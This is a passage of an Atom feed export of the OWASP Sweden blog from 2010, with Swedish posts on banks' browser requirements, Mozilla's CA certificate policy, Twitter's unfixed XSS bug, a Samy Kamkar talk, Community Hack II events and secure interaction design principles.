3.5-3.6&lt;/span&gt;&lt;/td&gt;      &lt;td bg="" style="text-align:center;color:#ffffff;" width="16.7%"&gt;&lt;span class="Apple-style-span" style="color:#660000;"&gt;Ingen info&lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt; &lt;/tbody&gt;&lt;tbody&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Länkar:&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.handelsbanken.se//shb/INeT/IStartSv.nsf/FrameSet?OpenView&amp;amp;id=hjalp_och_support&amp;amp;iddef=e-leg/anvandarnamn&amp;amp;navid=Hjalp_och_Support_-_E-leg_anvandarnamn&amp;amp;base=/shb/Inet/ICentSv.nsf&amp;amp;sa=/shb/Inet/ICentSv.nsf/default/q60368AAE848E053CC12572790028D315"&gt;Handelsbankens krav&lt;/a&gt;&lt;/div&gt;&lt;a href="http://www.nordea.se/Privat/Internet+och+telefon/Internet/Tekniska+krav/404902.html"&gt;Nordeas krav&lt;/a&gt;&lt;div&gt;&lt;a href="http://www.seb.se/pow/wcp/index.asp?website=TAB1&amp;amp;ss=/pow/wcp/templates/sebarticle.cfmc.asp?DUID=DUID_B2DF372CA5DBB0CEC1256D4E003FD3C5&amp;amp;xsl=sebarticle.xsl&amp;amp;sitekey=seb.se&amp;amp;lang=se"&gt;SEBs rekommendationer&lt;/a&gt;&lt;div&gt;&lt;a href="http://www.skandiabanken.se/hem/Om-oss/Om-webbplatsen/"&gt;Skandiabankens stöd&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.swedbank.se/foretag/internet-och-telefontjanster/internetbankens-kundtjanst/webblasare/index.htm"&gt;Swedbanks rekommendationer&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2703177762875062043?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2703177762875062043/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2703177762875062043' title='4 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2703177762875062043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2703177762875062043'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/10/ie-eller-ff-om-banken-far-valja.html' title='IE eller FF om banken får välja'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8325909883928642177</id><published>2010-09-24T12:40:00.002+02:00</published><updated>2010-09-24T12:44:58.315+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='PKI'/><category scheme='http://www.blogger.com/atom/ns#' term='Mozilla'/><category scheme='http://www.blogger.com/atom/ns#' term='certificate policy'/><category scheme='http://www.blogger.com/atom/ns#' term='CA-cert'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Mozillaprojekt om CA-cert-policy</title><content type='html'>&lt;div&gt;I kölvattnet av alla SSL-/PKI-skandaler kring hantering av CA-cert (&lt;a href="http://owaspsweden.blogspot.com/2010/04/overvakning-trots-ssl.html"&gt;bloggpost 1&lt;/a&gt;, &lt;a href="http://owaspsweden.blogspot.com/2010/04/kop-ssl-cert-till-nan-annans-doman.html"&gt;bloggpost 2&lt;/a&gt;, &lt;a href="http://owaspsweden.blogspot.com/2010/05/forefront-tmg-gor-mitm-pa-din-ssl.html"&gt;bloggpost 3&lt;/a&gt;) så har nu Mozilla startat ett &lt;a href="http://www.mozilla.org/projects/security/certs/policy/"&gt;projekt för att uppdatera sin certifikatspolicy&lt;/a&gt; för Firefox, Thunderbird med mera. Mozilla har som bekant en egen lista på godkända CA-cert och förlitar sig inte på operativsystemet som andra webbläsare. Det här kan vara chansen att göra något åt ett av de stora problemen med SSL.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Jag har gått med på mejlinglistan där det hela kommer att hanteras. Gör det ni med! Notera att Mailman i vanlig ordning skickar ut ditt valda lösenord i klartext i välkomstmejlet så använd ett slasklösen.&lt;/div&gt;&lt;div&gt;&lt;a href="https://lists.mozilla.org/listinfo/dev-security-policy"&gt;https://lists.mozilla.org/listinfo/dev-security-policy&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Föredrar man newsgroups så finns det med:&lt;/div&gt;&lt;div&gt;&lt;a href="http://mozilla-xp.com/mozilla.dev.security.policy/"&gt;http://mozilla-xp.com/mozilla.dev.security.policy/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8325909883928642177?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8325909883928642177/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8325909883928642177' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8325909883928642177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8325909883928642177'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/09/mozillaprojekt-om-ca-cert-policy.html' title='Mozillaprojekt om CA-cert-policy'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5848476850236848553</id><published>2010-09-24T12:37:00.002+02:00</published><updated>2010-09-24T12:56:00.580+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><title type='text'>Twitter fortfarande sårbart</title><content type='html'>&lt;div&gt;Jag vet inte om ni följer utvecklingen men Twitters XSS-fix var fel. Sen fixade de igen. Och den fixen var fel. Sen fixade de igen och idag kom folk fram till att det var fel på den fixen också.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Delar av historien här:&lt;/div&gt;&lt;div&gt;&lt;a href="http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html"&gt;http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Alltså ... överge webbgränssnittet och ladda hem en klient tills vidare. T ex:&lt;/div&gt;&lt;div&gt;&lt;a href="http://www.tweetdeck.com/"&gt;http://www.tweetdeck.com/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://iconfactory.com/software/twitterrific"&gt;http://iconfactory.com/software/twitterrific&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5848476850236848553?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5848476850236848553/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5848476850236848553' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5848476850236848553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5848476850236848553'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/09/twitter-fortfarande-sarbart.html' title='Twitter fortfarande sårbart'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2546830710248773138</id><published>2010-09-08T21:37:00.002+02:00</published><updated>2010-09-08T21:53:23.012+02:00</updated><title type='text'>Samy Kamkar i Sthlm 4/10</title><content type='html'>Vi har bjudit in Samy Kamkar att hålla föredrag för OWASP Sweden måndag 4 oktober.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Samy gav &lt;i&gt;cross-site scripting&lt;/i&gt; ett ansikte &lt;a href="http://en.wikipedia.org/wiki/Samy_(XSS)"&gt;när han 2005 sänkte MySpace&lt;/a&gt;. Inom loppet av timmar infekterades miljoner MySpace-användares profiler med Samys skript vilket gjorde det till ett av världens snabbast spridda maskar/virus. För det fick han en treårig villkorlig dom och samhällstjänst.&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.nolimitslabs.com/images/samybio.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 278px; height: 185px;" src="http://www.nolimitslabs.com/images/samybio.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Numer är Samy noga med att hålla sig på rätt sida om lagen men är fortfarande grymt duktig på att hitta säkerhetsproblem och presentera dem. Den 4 oktober har han lovat att både berätta hela historien bakom MySpace-masken och köra sin färska presentation "&lt;i&gt;How I Met Your Girlfriend&lt;/i&gt;" från sommarens Black Hat-konferens i Las Vegas. Den senare innehåller:&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;phpwn – hacket mot PHP-sessioner&lt;/li&gt;&lt;li&gt;&lt;i&gt;NAT Pinning&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Geolocation via XSS&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;HTML5 anti-waf XSS&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Föredraget är kostnadsfritt och öppet för alla medlemmar i OWASP Sweden. Medlem blir man genom att gå med på &lt;a href="https://lists.owasp.org/mailman/listinfo/owasp-sweden"&gt;mejlinglistan&lt;/a&gt;. Anmäler sig till föredraget gör man &lt;a href="http://samykamkar.eventbrite.com/"&gt;på Eventbrite&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Missa inte det här föredraget. Vi ses där!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2546830710248773138?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2546830710248773138/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2546830710248773138' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2546830710248773138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2546830710248773138'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/09/samy-kamkar-i-sthlm-410.html' title='Samy Kamkar i Sthlm 4/10'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-6840293996854159405</id><published>2010-09-05T19:20:00.011+02:00</published><updated>2010-09-05T21:24:13.451+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='foss'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='community hack'/><category scheme='http://www.blogger.com/atom/ns#' term='hackathon'/><title type='text'>#CmtyHack II är över</title><content type='html'>Community Hack II, gemensamt arrangerat av OWASP Sweden och FOSS  Sthlm är över. Strax över 50 anmälda, sponsrad frukost, läsk/snacks och bio. Till det behöver man bara lägga skarvdosor och datorer för en trevlig helg.&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tONVxa3WGQM/TIPTqXqaIJI/AAAAAAAAAZ0/y1vPxdmpAac/s1600/community_hack_ii_langbordet.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://1.bp.blogspot.com/_tONVxa3WGQM/TIPTqXqaIJI/AAAAAAAAAZ0/y1vPxdmpAac/s400/community_hack_ii_langbordet.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5513483093691474066" /&gt;&lt;/a&gt;&lt;div&gt;&lt;br /&gt;Magnus och Ians workshop om låsdyrkning var mycket uppskattad. De hade med sig en rejäl uppsättning dyrkar, modifierade nycklar, lås och verktyg.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tONVxa3WGQM/TIPUJ0Nx71I/AAAAAAAAAZ8/n-w4Ic1ucnY/s1600/community_hack_ii_lasdyrkning.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_tONVxa3WGQM/TIPUJ0Nx71I/AAAAAAAAAZ8/n-w4Ic1ucnY/s400/community_hack_ii_lasdyrkning.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5513483633931972434" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Större delen av helgen var förstås tillägnad fritt hackande på var och ens egna projekt. Folk labbade med DNSSec, mockramverk i Python, att försöka köra Linux på PS3, att utfärda e-leg på Linux, gå igenom challenges på &lt;a href="http://www.hackthissite.org/"&gt;hackthissite.org&lt;/a&gt;, buggfixa befintlig foss-mjukvara och så vidare.&lt;/div&gt;&lt;br /&gt;Det fanns en hel del intressanta projekt att spana in och människor att umgås med. En del hade tagit med mer hårdvara än andra ...&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tONVxa3WGQM/TIPVX711kFI/AAAAAAAAAaE/-VE96SxYuPU/s1600/community_hack_ii_hardvara.jpg"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tONVxa3WGQM/TIPVX711kFI/AAAAAAAAAaE/-VE96SxYuPU/s1600/community_hack_ii_hardvara.jpg"&gt;&lt;img style="text-align: left;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 300px; " src="http://2.bp.blogspot.com/_tONVxa3WGQM/TIPVX711kFI/AAAAAAAAAaE/-VE96SxYuPU/s400/community_hack_ii_hardvara.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5513484976008826962" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Utsikten var det som sagt inget fel på heller ...&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tONVxa3WGQM/TIPXhUM0DWI/AAAAAAAAAaU/4JmlGqHG_9o/s1600/community_hack_ii_utsikt.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 400px;" src="http://3.bp.blogspot.com/_tONVxa3WGQM/TIPXhUM0DWI/AAAAAAAAAaU/4JmlGqHG_9o/s400/community_hack_ii_utsikt.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5513487336189726050" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Arrangörerna (John, Daniel och Michael) vill tacka alla som kom, KTH för lokalen och allt det praktiska samt Spotify, Omegapoint och DQ Consulting för sponsringen.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Vi siktar på att köra Community Hack III i december. &lt;i&gt;Stay tuned!&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-6840293996854159405?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/6840293996854159405/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=6840293996854159405' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6840293996854159405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6840293996854159405'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/09/cmtyhack-ii-ar-over.html' title='#CmtyHack II är över'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tONVxa3WGQM/TIPTqXqaIJI/AAAAAAAAAZ0/y1vPxdmpAac/s72-c/community_hack_ii_langbordet.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-6074877908879701035</id><published>2010-09-01T12:33:00.008+02:00</published><updated>2010-09-01T16:26:17.747+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='foss'/><category scheme='http://www.blogger.com/atom/ns#' term='community hack'/><title type='text'>Community Hack II i helgen</title><content type='html'>I helgen så genomför OWASP Sweden och &lt;a href="http://foss-sthlm.haxx.se/"&gt;FOSS Sthlm&lt;/a&gt; gemensamt &lt;a href="http://www.communityhack.org/"&gt;Community Hack II&lt;/a&gt;. Vi kommer hålla till i lokaler på &lt;a href="http://www.hitta.se/LargeMap.aspx?var=lindstedtsv%E4gen+3+stockholm"&gt;KTH vid Valhallavägen&lt;/a&gt;. Bland projekten och aktiviteterna finns:&lt;div&gt;&lt;ul&gt;&lt;li&gt;Låsdyrkning med Ian Vitek och Magnus Bråding (kl 9-11 lördag)&lt;/li&gt;&lt;li&gt;&lt;i&gt;PDF Signature Verification&lt;/i&gt; i fria pdf-läsare&lt;/li&gt;&lt;li&gt;Applikations- och nätverksfuzzing&lt;/li&gt;&lt;li&gt;Bygga DNSSec&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Vi kör kl 9-18 både lördag och söndag. Anmälan är fortfarande öppen på &lt;a href="http://communityhack2.eventbrite.com/"&gt;Eventbrite&lt;/a&gt; (anmäl dig senast fredag kl 12). Just nu är vi ca 35 pers som kommer.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Lokalerna erbjuder arbetsplatser, internetaccess, fåtöljhörna, projektor, ljudanläggning och till och med fin utsikt.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tONVxa3WGQM/TH4uFhy-DWI/AAAAAAAAAZc/Gcg1YSzKGfQ/s1600/kth_torget_community_hack.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://1.bp.blogspot.com/_tONVxa3WGQM/TH4uFhy-DWI/AAAAAAAAAZc/Gcg1YSzKGfQ/s320/kth_torget_community_hack.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5511893666454441314" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Vi har också tillgång till pentryt med matbord, kylskåp, kaffebryggare, mikro med mera. Spotify sponsrar med läsk och snacks hela helgen och DQ Consulting bjuder på frukost båda dagarna!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tONVxa3WGQM/TH4uzA_ZfYI/AAAAAAAAAZk/lboWuGaK2BU/s1600/kth_pentryt_community_hack.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://2.bp.blogspot.com/_tONVxa3WGQM/TH4uzA_ZfYI/AAAAAAAAAZk/lboWuGaK2BU/s320/kth_pentryt_community_hack.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5511894447922183554" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;Lördag kväll går alla som vill på bio. Vi tänkte se filmen &lt;a href="http://www.imdb.com/title/tt0944835/"&gt;Salt&lt;/a&gt; och Omegapoint sponsrar med biljetter! Om ni ska med så måste ni vara anmälda senast onsdag 1/9 kl 18 (dvs idag). Sen bokar vi biljetter.&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.extramirchi.com/wp-content/uploads/2009/11/angelina-jolie-salt-movie.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://www.extramirchi.com/wp-content/uploads/2009/11/angelina-jolie-salt-movie.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-6074877908879701035?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/6074877908879701035/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=6074877908879701035' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6074877908879701035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6074877908879701035'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/09/community-hack-ii-i-helgen.html' title='Community Hack II i helgen'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tONVxa3WGQM/TH4uFhy-DWI/AAAAAAAAAZc/Gcg1YSzKGfQ/s72-c/kth_torget_community_hack.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-746725983491108373</id><published>2010-08-24T22:33:00.003+02:00</published><updated>2010-08-24T22:42:33.619+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mdi'/><category scheme='http://www.blogger.com/atom/ns#' term='interaktionsdesign'/><category scheme='http://www.blogger.com/atom/ns#' term='hci'/><category scheme='http://www.blogger.com/atom/ns#' term='säkerhet'/><title type='text'>Säker interaktionsdesign</title><content type='html'>&lt;div&gt;Via Twitter så snubblade jag över en tio-i-topp-lista på principer för säker interaktionsdesign.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Såna listor tenderar att bli både krystade och svävande men jag har haft ett intresse för hur interaktionsdesign påverkar säkerhet ända sen jag tillsammans med Viiveke Fåk införde profilen "Säkra, interaktiva datorsystem" på D- och IT-programmen i Linköping.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Därför gav jag mig i kast med att beskriva dessa tio principer på svenska. En grannlaga uppgift. Men det finns allt ett antal sanningskorn i det hela!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://people.ischool.berkeley.edu/~ping/sid/sid18.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px;" src="http://people.ischool.berkeley.edu/~ping/sid/sid18.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Path of Least Resistance&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Se till att det bekvämaste sättet att arbeta med applikationen kräver minsta möjliga rättigheter.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Active Authorization&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Se till att behörigheter bara kan delas ut med användarens aktiva samtycke.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Revocability&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Erbjud användaren möjligheter att begränsa andras behörigheter till hans/hennes resurser.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Visibility&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Se till att användaren känner till andras behörigheter till de egna resurserna, särskilt behörigheter som påverkar hans/hennes beslut.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Self-Awareness&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Se till att användaren känner till sina egna behörigheter att använda resurser.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Trusted Path&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Skydda användarens kontakt med (automatiska) system som ändrar behörigheter i hans/hennes ställe.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Expressiveness&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Se till att användaren kan uttrycka säkerhetsregler i ord och termer som är anpassade till den typ av arbetsuppgifter som utförs i systemet.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Relevant Boundaries&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Se till att distinktioner och begränsningar är relevanta för den typ av arbetsuppgifter som utförs i systemet.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Identifiability&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Presentera systemets olika resurser och funktioner på ett särskiljande och sanningsenligt sätt.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;Foresight&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Tydliggör konsekvenserna av beslut som användaren förväntas ta i användandet av systemet.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Originalet och referenser hittar ni &lt;a href="http://people.ischool.berkeley.edu/~ping/sid/"&gt;här&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-746725983491108373?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/746725983491108373/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' 